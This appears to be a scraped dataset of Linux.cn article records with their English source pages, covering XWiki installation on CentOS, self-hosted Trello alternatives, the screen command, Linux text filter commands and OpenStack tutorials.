| 200 | OK | Due to popular demand, here’s another tutorial on how to install your own self-hosted wiki with XWiki on a CentOS 7 server. We’ve already published a tutorial on [how to install DokuWiki on Ubuntu](https://thishosting.rocks/build-your-own-wiki-on-ubuntu-with-dokuwiki/), but if you need an alternative to DokuWiki, XWiki is a great choice.
## XWiki Info
First and most important: it’s free and open source! Here are some of XWiki’s features:
- a very robust WYSIWYG editor
- a powerful wiki syntax
- strong rights management
- responsive skin
- advanced search
- unique set of applications
- … and many more.
### Why use XWiki?
Developed for more than 10 years, XWiki is being used by many high profile companies as:
- Knowledge base
- Collaborative intranet
- Public website
- Business applications
- … or other use cases.
### XWiki Requirements
- Java 8 or greater
- A Servlet Container supporting Servlet 3.0.1
- A JDBC 4 Driver for your database
- At least 2 GB RAM (or 1 GB for smaller wikis)
- You can get a 2 GB RAM VPS from
[Linode](https://thishosting.rocks/go/linode)for $10. But, it’s[unmanaged](https://thishosting.rocks/cheap-cloud-hosting-providers-comparison/). If you want a[Managed VPS](https://thishosting.rocks/best-cheap-managed-vps/), then check out these providers. If you get a Managed VPS, they will probably install XWiki for you.
We’ll be using a CentOS 7 server for this tutorial.
## XWiki Installation Instructions for CentOS 7
Let’s start. Login to your CentOS VPS and before we do anything, update your system with:
yum update
If you don’t have them already installed, install nano and wget:
yum install nano wget
### Install Java
XWiki is built and run on Java, so we’ll need to install java. To do so, run the following command:
yum install java
To verify that it’s successfully installed, run:
java -version
### Download and install XWiki
Currently, the latest version of XWiki is 8.4.4, but you can update the command if there’s a newer version of XWiki.
To download the XWiki installer, run:
wget http://download.forge.ow2.org/xwiki/xwiki-enterprise-installer-generic-8.4.4-standard.jar
To run the installer, enter the following command:
java -jar xwiki-enterprise-installer-generic-8.4.4-standard.jar
Now, the installer will ask you several questions with a prompt to enter 1 (accept) 2 (quit) 3 (redisplay). Most of the prompts can be answered with 1 (accept). The installer is pretty self-explanatory and easy to understand, so just follow the instructions.
### Start XWiki
To start XWiki, you need to navigate to the directory you chose in the previous step:
cd /usr/local/"XWiki Enterprise 8.4.4"
and run the start script:
bash start_xwiki.sh
Wait for the script to do its job and you are done. XWiki is installed and started. It’s that easy.
Now, you can visit XWiki via your domain or server IP on port 8080:
http://server-ip:8080
or
http://example.com:8080
By default, XWiki runs on port 8080, but if you’d like to use port 80, make sure there’s nothing already running on port 80 and start XWiki with the following command:
bash start_xwiki.sh -p 80
Now, you can access XWiki without specifying a port. When you access it, you should see the default XWiki homepage, similar to this:
The default XWiki administrator username and password are:
Username: Admin Password: admin
Use them to login and access the admin panel. Have fun editing and using your new wiki!
## 2 thoughts on “How to Build Your Own Wiki with XWiki on CentOS”
Hello. I’m trying this installation setup but cannot open xwiki. I’m on a production server with tomcat 9 already running, with CentOS Linux release 7.6.1810, Java 8, and for xwiki I will use a PostgreSQL remote db. I probably missed some steps ,where to find documentation? Thank you.
xwiki enterprise version has discontinue, can you make a new tutorial for Xwiki Pro 12.3 ? |
8,214 | 4 个开源的可自行托管的 Trello 替代品 | http://linuxbsdos.com/2017/01/09/4-open-source-alternatives-to-trello-that-you-can-self-host/ | 2017-02-16T18:09:16 | [
"Trello",
"Kanboard",
"Restyaboard",
"协作"
] | https://linux.cn/article-8214-1.html | Trello 是一个可视的团队协作平台,最近被 Atlassian 收购了,这里我说的*最近*的意思是 2017 年 1 月 9 日,星期一。
我作为 DigitalOcean 社区作者的董事会成员之一,一直在使用 Trello ,并在几天前开始使用它来管理一个非营利组织的小团队项目。这是一个很好的软件,任何团队,包括那些并不 geek 的成员,都能舒适地使用它。
如果你喜欢 [Trello](https://trello.com/),但现在想要一个类似的软件,你可以自己托管,运行在自己的服务器上,我发现了四个你可以选择的工具。记住,我没有在我自己的服务器上安装其中任何一个,但从我收集的关于它们的信息上来看,我最可能使用的是 Kanboard 和 Restyaboard。

这是因为它们的安装要求很常见的。它们的安装过程也比较简单。Restyaboard 似乎有一个更好的 UI,所以它可能是我的第一个选择,虽然其中的一个要求(Elasticsearch)让我认为它对服务器的要求将比其它的更多。不管怎样,我会很快发布尝试自己托管 Kanboard 和 Restyaboard 的文章,所以请经常回来看看。
在那之前,我发现的替代 Trello 的前四个选择是:
### Kanboard
除了自由且开源,看板功能还提供与第三方工具和服务(如 Amazon S3 Storage、Hipchat、Jabber、RabbitMQ、Slack 等)的集成。Kanboard 可以安装在微软操作系统上,但要需要安装在自由开源组件之上,你需要以下内容:
* PHP >= 5.3.9
* MariaDB/MySQL、Postgres 或者 Sqlite
* Apache 或者 Nginx
* CentOS 6/7、 Debian 8、 FreeBSD 10 或者 Ubuntu 14.04/16.04
从对项目的一个非常粗略的评估,UI 似乎不如本文中提到的其他工具靓丽。 如果改变主意不想自己托管,有一个有管理的或托管的 Kanboard 可供你注册。该项目的 GitHub 页面在 <https://github.com/kanboard/kanboard>。

### Restyaboard
有靓丽的用户界面和从 Trello 导入数据的能力,Restyaboard 是一个非常有吸引力的 Trello 替代品。安装要求似乎也不高;在你的服务器上安装 Restyaboard 你需要以下内容:
* PHP-FPM
* Postgres
* Nginx
* Elasticsearch
需求不多,而且有个脚本可在你的服务器上安装所有需要的组件,这使安装变得更简单。还有一个 AMI 可以用于在 Amazon AWS 上安装。对于 Docker 的粉丝,有一个非官方的 Docker 镜像可以用来运行 Restyaboard 容器。我不鼓励使用非官方 Docker 镜像运行 Docker 容器,但如果你想要试试,那会是一个选择。 项目的详细信息的 [GitHub page](https://github.com/RestyaPlatform/board)。

### Taiga
部署好的 Taiga 由三个组件组成 - taiga-back(后端/ api)、taiga-front-dist(前端)、taiga-events - 每个都有自己的要求。一般来说,在你的服务器上安装 Taiga 你需要以下这些:
* Python >= 3.4
* PostgreSQL >= 9.3
* RabbitMQ(可选项,看是否需要异步提醒)
* gcc 和开发头文件
* Ruby >= 2.1 (仅用于编译 sass)
* NodeJS >= 5.0 (npm、 gulp 和 bower 用于下载依赖和编译 coffeescript)
安装要求似乎比其它的多一点,所以如果这是一个问题,有一个托管平台可以免费使用。该托管平台上的额外功能是收费的。有关详细信息,请访问项目的 [GitHub页面](https://github.com/taigaio/)。

### Wekan
Wekan 是用 Meteor 构建的,这是一个用于构建 web 应用程序的 JavaScript 框架,托管在 <https://github.com/wekan/wekan>。 该项目提供了在 Heroku、Sandstorm 的一键安装,以及经过验证的 Docker 镜像上,以便在 Docker 容器上运行它。它也可以安装在 Scalingo、IndieHosters 和 Cloudron,但我找不到部署在其他如 [Vultr](http://www.vultr.com/?ref=6827794) 和 [DigitalOcean](https://www.digitalocean.com/?refcode=900fe177d075) 的云托管提供商上的安装说明。
所以看来,你安装 Wekan 最简单的方式是使用一个支持的云托管平台。

如我之前承诺的,请稍后回来看看我发布的如何在你的服务器上安装 Kanboard 和 Restyaboard 指南。
### 更新
刚发布这篇文章,我就发现了 [Tuleap](https://www.tuleap.org/)。它似乎非常精美,但生产环境安装只支持 CentOS 6 和 Red Hat 6。支持使用 Docker 的容器化安装,但不推荐用于生产。
---
via: <http://linuxbsdos.com/2017/01/09/4-open-source-alternatives-to-trello-that-you-can-self-host/>
作者:[linuxbsdos.com](http://linuxbsdos.com) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 302 | Found | null |
8,215 | screen 命令使用及示例 | https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/ | 2017-02-17T07:30:00 | [
"screen"
] | https://linux.cn/article-8215-1.html | 
`screen` 是一个非常有用的命令,提供从单个 SSH 会话中使用多个 shell 窗口(会话)的能力。当会话被分离或网络中断时,screen 会话中启动的进程仍将运行,你可以随时重新连接到 screen 会话。如果你想运行一个持久的进程或者从多个位置连接到 shell 会话,这也很方便。
在本文中,我们将展示在 Linux 上安装和使用 `screen` 的基本知识。
### 如何安装 screen
`screen` 在一些流行的发行版上已经预安装了。你可以使用下面的命令检查是否已经在你的服务器上安装了。
```
screen -v
Screen version 4.00.03 (FAU)
```
如果在 Linux 中还没有 `screen`,你可以使用系统提供的包管理器很简单地安装它。
**CentOS/RedHat/Fedora**
```
yum -y install screen
```
**Ubuntu/Debian**
```
apt-get -y install screen
```
### 如何启动一个 screen 会话
你可以在命令行中输入 `screen` 来启动它,接着会有一个看上去和命令行提示符一样的 `screen` 会话启动。
```
screen
```
使用描述性名称启动屏幕会话是一个很好的做法,这样你可以轻松地记住会话中正在运行的进程。要使用会话名称创建新会话,请运行以下命令:
```
screen -S name
```
将 “name” 替换为对你会话有意义的名字。
### 从 screen 会话中分离
要从当前的 screen 会话中分离,你可以按下 `Ctrl-A` 和 `d`。所有的 screen 会话仍将是活跃的,你之后可以随时重新连接。
### 重新连接到 screen 会话
如果你从一个会话分离,或者由于某些原因你的连接被中断了,你可以使用下面的命令重新连接:
```
screen -r
```
如果你有多个 screen 会话,你可以用 `ls` 参数列出它们。
```
screen -ls
There are screens on:
7880.session (Detached)
7934.session2 (Detached)
7907.session1 (Detached)
3 Sockets in /var/run/screen/S-root.
```
在我们的例子中,我们有三个活跃的 screen 会话。因此,如果你想要还原 “session2” 会话,你可以执行:
```
screen -r 7934
```
或者使用 screen 名称。
```
screen -r -S session2
```
### 中止 screen 会话
有几种方法来中止 screen 会话。你可以按下 `Ctrl+d`,或者在命令行中使用 `exit` 命令。
要查看 `screen` 命令所有有用的功能,你可以查看 `screen` 的 man 手册。
```
man screen
NAME
screen - screen manager with VT100/ANSI terminal emulation
SYNOPSIS
screen [ -options ] [ cmd [ args ] ]
screen -r [[pid.]tty[.host]]
screen -r sessionowner/[[pid.]tty[.host]]
```
顺便说一下,如果你喜欢这篇文章,请在社交网络上与你的朋友分享,或者在评论区留下评论。谢谢。
---
via: <https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/>
作者:[rosehosting.com](https://www.rosehosting.com/blog/basic-screen-command-usage-and-examples/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | We’ll show you, how to use the
**Linux screen command**. Linux Screen Command is a very useful command that offers the ability to use multiple shell windows (sessions) from a single SSH session. When the session is detached or there is a network disruption, the process that is started in a screen session will still run and you can re-attach to the screen session at any time. Linux Screen Command also comes in handy if you want to run a long process persistently or connect to shell sessions from multiple locations. In this article, we will show you the basics of **installing and using screen command on Linux.**
Table of Contents
## 1. Installing Linux Screen Command
The screen comes preinstalled on some of the popular distributions. You can check if it is installed on your server using the following command
screen -v![]()
If you do not have a screen to the VPS, you can easily install it using the package manager provided by the OS.
## 2. Install Linux Screen Command – CentOS/RedHat/Fedora
yum -y install screen
**Ubuntu/Debian**
apt-get -y install screen
## 3. How to start a Linux Screen Command session
You can start screen by typing ‘screen’ at the command prompt and a new screen session will be started which looks the same as the command prompt
screen
It is a good practice to start screen sessions with descriptive names so you can easily remember which process is running in the session. To create a new session with a session name run the following command
screen -S name
and replace ‘name’ with a meaningful name for your session.
## 4. Detach from Linux Screen Command Session
To detach from the current screen session you can press ‘**Ctrl-A**‘ and ‘**d**‘ on your keyboard. All screen sessions will still be active and you can re-attach to them at any time later.
## 5. Reattach to Linux Screen Command
If you have detached from a session or your connection is interrupted for some reason, you can easily re-attach by executing the following command:
screen -r
If you have multiple screen sessions you can list them with ‘ls’
screen -ls There are screens on: 7880.session (Detached) 7934.session2 (Detached) 7907.session1 (Detached) 3 Sockets in /var/run/screen/S-root.
In our example, we have three active screen sessions. So, if you want to restore the session ‘session2’ you can execute
screen -r 7934
or you can use the screen name
screen -r -S session2
## 6. Terminate Linux Screen Command Session
There are several ways to terminate the screen session. You can do it by pressing ‘**Ctrl**‘ + ‘**d**‘ on your keyboard or use the ‘exit’ command line command.
To see all the useful features of the screen command you can check the screen’s man page.
man screen NAME screen - screen manager with VT100/ANSI terminal emulation SYNOPSIS screen [ -options ] [ cmd [ args ] ] screen -r [[pid.]tty[.host]] screen -r sessionowner/[[pid.]tty[.host]]
With the completion of this tutorial, you have successfully learned how to use the
**Linux Screen Command**. If you are one of our [managed Linux hosting](https://www.rosehosting.com/managed-vps-hosting.html) customers, you don’t have to use or learn the **screen command in Linux**, simply ask our system administrators to help you with any aspect of managing your Linux server. They are available 24/7 and will take care of your request immediately.
**PS.** If you liked this post on how to use the Linux Screen Command, please share it with your friends on the social networks using the buttons below or simply leave a comment in the comment section. Thanks.
Good explanation.
Reply |
8,216 | Linux 上 12 个高效的文本过滤命令 | http://www.tecmint.com/linux-file-operations-commands/ | 2017-02-17T09:00:00 | [
"过滤"
] | https://linux.cn/article-8216-1.html | 在这篇文章中,我们将会看一些 Linux 中的过滤器命令行工具。过滤器是一个程序,它从标准输入读取数据,在数据上执行操作,然后把结果写到标准输出。
因此,它可以用来以强大的方式处理信息,例如重新结构化输出以生成有用的报告,修改文件里面的文本,以及其他很多系统管理任务。

下面是 Linux 上的一些有用的文件或者文本过滤器。
### 1、 awk 命令
[awk](https://linux.cn/tag-awk.html) 是一个卓越的模式扫描和处理语言,它可被用于在 Linux 下构造有用的过滤器。你可以通过阅读我们的 [awk 系列 1 到 13 部分](/article-7586-1.html) 来开始使用它。
另外,也可以通过阅读 **awk** 的 man 手册来获取更多的信息和使用选项。
```
$ man awk
```
### 2、 sed 命令
[sed](https://linux.cn/tag-sed.html) 是一款过滤和转换文本的强大的流编辑器。我们已经写了两篇关于 sed 的有用的文章,你可以通过这儿来了解:
* [如何使用 GNU sed 命令在 Linux 下创建、编辑和处理文件](/article-7161-1.html)
* [日常 Linux 系统管理员任务使用的 15 个有用的 sed 命令小贴士和技巧](http://www.tecmint.com/linux-sed-command-tips-tricks/)
sed 的 man 手册已经添加控制选项和说明:
```
$ man sed
```
### 3、 grep、 egrep、 fgrep、 rgrep 命令行
这些过滤器输出匹配指定模式的行。它们从一个文件或者标准输入读取行,并且输出所有匹配的行,默认输出到标准输出。
**注意**:主程序是 [grep](https://linux.cn/tag-grep.html),这些变体与[使用特定的选项的 grep](http://www.tecmint.com/linux-grep-commands-character-classes-bracket-expressions/) 相同,如下所示(为了向后兼容性,它们依旧在使用):
```
$ egrep = grep -E
$ fgrep = grep -F
$ rgrep = grep -r
```
下面是一些基本的 grep 命令:
```
tecmint@TecMint ~ $ grep "aaronkilik" /etc/passwd
aaronkilik:x:1001:1001::/home/aaronkilik:
tecmint@TecMint ~ $ cat /etc/passwd | grep "aronkilik"
aaronkilik:x:1001:1001::/home/aaronkilik:
```
在 [Linux 下的 grep、 egrep 和 fgrep 的差异?](http://www.tecmint.com/difference-between-grep-egrep-and-fgrep-in-linux/)中,你可以了解更多。
### 4、 head 命令
**head** 用于显示文件前面的部分,默认情况下它输出前 **10** 行。你可以使用 `-n` 标志来指定显示的行数:
```
tecmint@TecMint ~ $ head /var/log/auth.log
Jan 2 10:45:01 TecMint CRON[3383]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan 2 10:45:01 TecMint CRON[3383]: pam_unix(cron:session): session closed for user root
Jan 2 10:51:34 TecMint sudo: tecmint : TTY=unknown ; PWD=/home/tecmint ; USER=root ; COMMAND=/usr/lib/linuxmint/mintUpdate/checkAPT.py
Jan 2 10:51:34 TecMint sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jan 2 10:51:39 TecMint sudo: pam_unix(sudo:session): session closed for user root
Jan 2 10:55:01 TecMint CRON[4099]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan 2 10:55:01 TecMint CRON[4099]: pam_unix(cron:session): session closed for user root
Jan 2 11:05:01 TecMint CRON[4138]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan 2 11:05:01 TecMint CRON[4138]: pam_unix(cron:session): session closed for user root
Jan 2 11:09:01 TecMint CRON[4146]: pam_unix(cron:session): session opened for user root by (uid=0)
tecmint@TecMint ~ $ head -n 5 /var/log/auth.log
Jan 2 10:45:01 TecMint CRON[3383]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan 2 10:45:01 TecMint CRON[3383]: pam_unix(cron:session): session closed for user root
Jan 2 10:51:34 TecMint sudo: tecmint : TTY=unknown ; PWD=/home/tecmint ; USER=root ; COMMAND=/usr/lib/linuxmint/mintUpdate/checkAPT.py
Jan 2 10:51:34 TecMint sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jan 2 10:51:39 TecMint sudo: pam_unix(sudo:session): session closed for user root
```
学习如何 [使用带有 tail 和 cat 命令的 head 命令](http://www.tecmint.com/view-contents-of-file-in-linux/),以便在 Linux 下更有效的使用。
### 5、 tail 命令
**tail** 输出一个文件的后面的部分(默认 **10** 行)。使用 `-n` 选项来指定显示的行数。
下面的命令将会输出指定文件的最后 5 行:
```
tecmint@TecMint ~ $ tail -n 5 /var/log/auth.log
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on :: port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Received SIGHUP; restarting.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on :: port 22.
```
另外,**tail** 有一个特殊的选项 `-f` ,可以 [实时查看一个文件的变化](http://www.tecmint.com/fswatch-monitors-files-and-directory-changes-modifications-in-linux/) (尤其是日志文件)。
下面的命令将会使你能够监控指定文件的变化:
```
tecmint@TecMint ~ $ tail -f /var/log/auth.log
Jan 6 12:58:01 TecMint sshd[1269]: Server listening on :: port 22.
Jan 6 12:58:11 TecMint sshd[1269]: Received SIGHUP; restarting.
Jan 6 12:58:12 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 12:58:12 TecMint sshd[1269]: Server listening on :: port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Received SIGHUP; restarting.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on :: port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Received SIGHUP; restarting.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on :: port 22.
```
阅读 tail 的 man 手册,获取使用选项和说明的完整内容:
```
$ man tail
```
### 6、 sort 命令
[sort](https://linux.cn/tag-sort.html) 用于将文本文件或标准输入的行进行排序。
下面是一个名为 domain.list 的文件的内容:
```
tecmint@TecMint ~ $ cat domains.list
tecmint.com
tecmint.com
news.tecmint.com
news.tecmint.com
linuxsay.com
linuxsay.com
windowsmint.com
windowsmint.com
```
你可以像这样运行一个简单的 [sort 命令](https://linux.cn/tag-sort.html) 来排序文件内容:
```
tecmint@TecMint ~ $ sort domains.list
linuxsay.com
linuxsay.com
news.tecmint.com
news.tecmint.com
tecmint.com
tecmint.com
windowsmint.com
windowsmint.com
```
你可以有多种方式来使用 sort 命令,请参阅以下一些关于 sort 命令的有用的文章。
* [Linux 的 ‘sort’命令的14个有用的范例(一)](/article-5372-1.html)
* [Linux 的 'sort'命令的七个有趣实例(二)](/article-5373-1.html)
* [如何基于修改日期和时间来查找和排序文件](http://www.tecmint.com/find-and-sort-files-modification-date-and-time-in-linux/)
### 7、 uniq 命令
[uniq](https://linux.cn/tag-uniq.html) 命令用于报告或者忽略重复行,它从标准输入过滤行,并且把结果写到标准输出。
在对一个输入流运行 `sort` 之后,你可以使用 `uniq` 删除重复行,如下例所示。
为了显示行出现的数目,使用 `-c` 选项,要在对比时忽略大小写的差异,使用 `-i` 选项:
```
tecmint@TecMint ~ $ cat domains.list
tecmint.com
tecmint.com
news.tecmint.com
news.tecmint.com
linuxsay.com
linuxsay.com
windowsmint.com
tecmint@TecMint ~ $ sort domains.list | uniq -c
2 linuxsay.com
2 news.tecmint.com
2 tecmint.com
1 windowsmint.com
```
通过阅读 `uniq` 的 man 手册来获取进一步的使用信息和选项:
```
$ man uniq
```
### 8、 fmt 命令行
**fmt** 是一款简单的优化的文本格式化器,它重新格式化指定文件的段落,并且打印结果到标准输出。
以下是从文件 domain-list.txt 提取的内容:
```
1.tecmint.com 2.news.tecmint.com 3.linuxsay.com 4.windowsmint.com
```
为了把上面的内容重新格式化成一个标准的清单,运行下面的命令,使用 `-w` 选项定义最大行宽度:
```
tecmint@TecMint ~ $ cat domain-list.txt
1.tecmint.com 2.news.tecmint.com 3.linuxsay.com 4.windowsmint.com
tecmint@TecMint ~ $ fmt -w 1 domain-list.txt
1.tecmint.com
2.news.tecmint.com
3.linuxsay.com
4.windowsmint.com
```
### 9、 pr 命令
**pr** 命令转换文本文件或者标准输入之后打印出来。例如在 **Debian** 系统上,你可以像下面这样显示所有的安装包:
```
$ dpkg -l
```
为了将要打印的列表在页面和列中组织好,使用以下命令。
```
tecmint@TecMint ~ $ dpkg -l | pr --columns 3 -l 20
2017-01-06 13:19 Page 1
Desired=Unknown/Install ii adduser ii apg
| Status=Not/Inst/Conf- ii adwaita-icon-theme ii app-install-data
|/ Err?=(none)/Reinst-r ii adwaita-icon-theme- ii apparmor
||/ Name ii alsa-base ii apt
+++-=================== ii alsa-utils ii apt-clone
ii accountsservice ii anacron ii apt-transport-https
ii acl ii apache2 ii apt-utils
ii acpi-support ii apache2-bin ii apt-xapian-index
ii acpid ii apache2-data ii aptdaemon
ii add-apt-key ii apache2-utils ii aptdaemon-data
2017-01-06 13:19 Page 2
ii aptitude ii avahi-daemon ii bind9-host
ii aptitude-common ii avahi-utils ii binfmt-support
ii apturl ii aview ii binutils
ii apturl-common ii banshee ii bison
ii archdetect-deb ii baobab ii blt
ii aspell ii base-files ii blueberry
ii aspell-en ii base-passwd ii bluetooth
ii at-spi2-core ii bash ii bluez
ii attr ii bash-completion ii bluez-cups
ii avahi-autoipd ii bc ii bluez-obexd
.....
```
其中,使用的标志如下:
* `--column` 定义在输出中创建的列数。
* `-l` 指定页面的长度(默认是 66 行)。
### 10、 tr 命令行
这个命令从标准输入转换或者删除字符,然后输出结果到标准输出。
使用 `tr` 的语法如下:
```
$ tr options set1 set2
```
看一下下面的例子,在第一个命令,`set1( [:upper:] )` 代表指定输入字符的大小写(都是大写字符)。 `set2([:lower:])` 代表期望结果字符的大小写。第二个例子意思相似,转义字符 `\n` 表示在新的一行打印输出:
```
tecmint@TecMint ~ $ echo "WWW.TECMINT.COM" | tr [:upper:] [:lower:]
www.tecmint.com
tecmint@TecMint ~ $ echo "news.tecmint.com" | tr [:lower:] [:upper:]
NEWS.TECMINT.COM
```
### 11、 more 命令
[more](https://linux.cn/tag-more.html) 命令是一个有用的文件过滤器,最初为查看证书而建。它一页页显示文件内容,用户可以通过按回车来显示更多的信息。
你可以像这样使用它来显示大文件:
```
tecmint@TecMint ~ $ dmesg | more
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Linux version 4.4.0-21-generic (buildd@lgw01-21) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (Ubuntu 4.4.0-21.37-generic
4.4.6)
[ 0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-4.4.0-21-generic root=UUID=bb29dda3-bdaa-4b39-86cf-4a6dc9634a1b ro quiet splash vt.handoff=7
[ 0.000000] KERNEL supported cpus:
[ 0.000000] Intel GenuineIntel
[ 0.000000] AMD AuthenticAMD
[ 0.000000] Centaur CentaurHauls
[ 0.000000] x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x01: 'x87 floating point registers'
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x02: 'SSE registers'
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x04: 'AVX registers'
[ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format.
[ 0.000000] x86/fpu: Using 'eager' FPU context switches.
[ 0.000000] e820: BIOS-provided physical RAM map:
[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009d3ff] usable
[ 0.000000] BIOS-e820: [mem 0x000000000009d400-0x000000000009ffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000000e0000-0x00000000000fffff] reserved
[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000a56affff] usable
[ 0.000000] BIOS-e820: [mem 0x00000000a56b0000-0x00000000a5eaffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000a5eb0000-0x00000000aaabefff] usable
--More--
```
### 12、 less 命令
**less** 是和上面的 **more** 命令相反的一个命令,但是它提供了额外的特性,而且对于大文件,它会更快些。
按照 `more` 命令相同的方式使用它:
```
tecmint@TecMint ~ $ dmesg | less
[ 0.000000] Initializing cgroup subsys cpuset
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Linux version 4.4.0-21-generic (buildd@lgw01-21) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 (Ubuntu 4.4.0-21.37-generic
4.4.6)
[ 0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-4.4.0-21-generic root=UUID=bb29dda3-bdaa-4b39-86cf-4a6dc9634a1b ro quiet splash vt.handoff=7
[ 0.000000] KERNEL supported cpus:
[ 0.000000] Intel GenuineIntel
[ 0.000000] AMD AuthenticAMD
[ 0.000000] Centaur CentaurHauls
[ 0.000000] x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x01: 'x87 floating point registers'
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x02: 'SSE registers'
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x04: 'AVX registers'
[ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format.
[ 0.000000] x86/fpu: Using 'eager' FPU context switches.
[ 0.000000] e820: BIOS-provided physical RAM map:
[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009d3ff] usable
[ 0.000000] BIOS-e820: [mem 0x000000000009d400-0x000000000009ffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000000e0000-0x00000000000fffff] reserved
[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000a56affff] usable
[ 0.000000] BIOS-e820: [mem 0x00000000a56b0000-0x00000000a5eaffff] reserved
[ 0.000000] BIOS-e820: [mem 0x00000000a5eb0000-0x00000000aaabefff] usable
:
```
学习为什么 Linux 下进行有效的文件浏览, [‘less’ 比 ‘more’ 命令更快](http://www.tecmint.com/linux-more-command-and-less-command-examples/)。
基本上就这些了,如果你还知道其他本文没有提供的 Linux 下[有用的文本过滤命令行工具](http://www.tecmint.com/tag/linux-tricks/),可以在下面的评论部分通知我们。
---
作者简介:Aaron Kili 是一名 Linux 和 F.O.S.S 爱好者、一名未来的 Linux 系统管理员、web 开发者,并且目前是一名 TecMint 上的内容创造者,他喜欢计算机相关的工作,并且坚信知识的分享。
---
via: <http://www.tecmint.com/linux-file-operations-commands/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[yangmingming](https://github.com/yangmingming) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,217 | 5 个新的 OpenStack 使用指南 | https://opensource.com/article/17/1/openstack-tutorials | 2017-02-18T21:30:00 | [
"OpenStack"
] | /article-8217-1.html | 
随着越来越多的组织寻求构建和管理自己的开源云,所以拥有 OpenStack 经验仍然被视为技术界中最需要的技能。但是 OpenStack 是一个巨大的知识领域,包含了十几个正在积极开发的单独项目。仅仅使你的技能跟上它的最新发展就是一个挑战。
好消息是现在有很多资源可以让你跟上这个发展速度。除了其[官方项目文档](http://docs.openstack.org/),各种培训和认证程序、纸质的指南、以及其他资源之外,还有大量的由 OpenStack 社区成员编写并发布在各种博客和线上出版物上的教程和指南。
在 Opensource.com,我们每个月都会收集这些社区资源中最好的资源,并将它们放到一个集锦中。这是我们上个月的内容。
* 这次排第一位的是 Julie Pichon 对 [Mistral 在 TripleO 中的使用](http://www.jpichon.net/blog/2016/12/quick-introduction-mistral-tripleo/)的一个快速介绍。Mistral 是一个工作流服务,允许你设置一个多步过程自动化和异步协调操作。在该快速指南中学习 Mistral 的基础知识、它如何工作,以及如何在 TripleO 中使用它。
* 想要使用 OpenStack 自己的一套工具来深入了解 TripleO 管理 OpenStack 部署么?你会想看看这[一组为使用 TripleO 设置 OpenStack 的人士写的简洁提示](http://www.anstack.com/blog/2016/12/16/printing-tripleo-cheat-sheet.html)。这是一个正在进行中的工作,所以如果你还想包含什么,欢迎随时贡献。
* 使用 TripleO 设置独立的 Ceph 部署时,不要错过这个[快速指南](http://giuliofidente.com/2016/12/tripleo-to-deploy-ceph-standlone.html),这是我们的 TripleO 指南的第三篇。它所需要的只是一个简短的 YAML 文件和一个简单的命令。
* 接下来,如果你是一个 OpenStack 贡献者,你可能会熟悉 [Grafana 面板](http://grafana.openstack.org/),它显示了 OpenStack 持续集成基础设施的各种指标。有没有想过这个服务如何工作,或想创建一个新的指标到面板上?学习[如何创建](http://blog.cafarelli.fr/2016/12/local-testing-of-openstack-grafana-dashboard-changes/)你自己的本地面板的副本,你可以测试试试,并作出自己的修改。
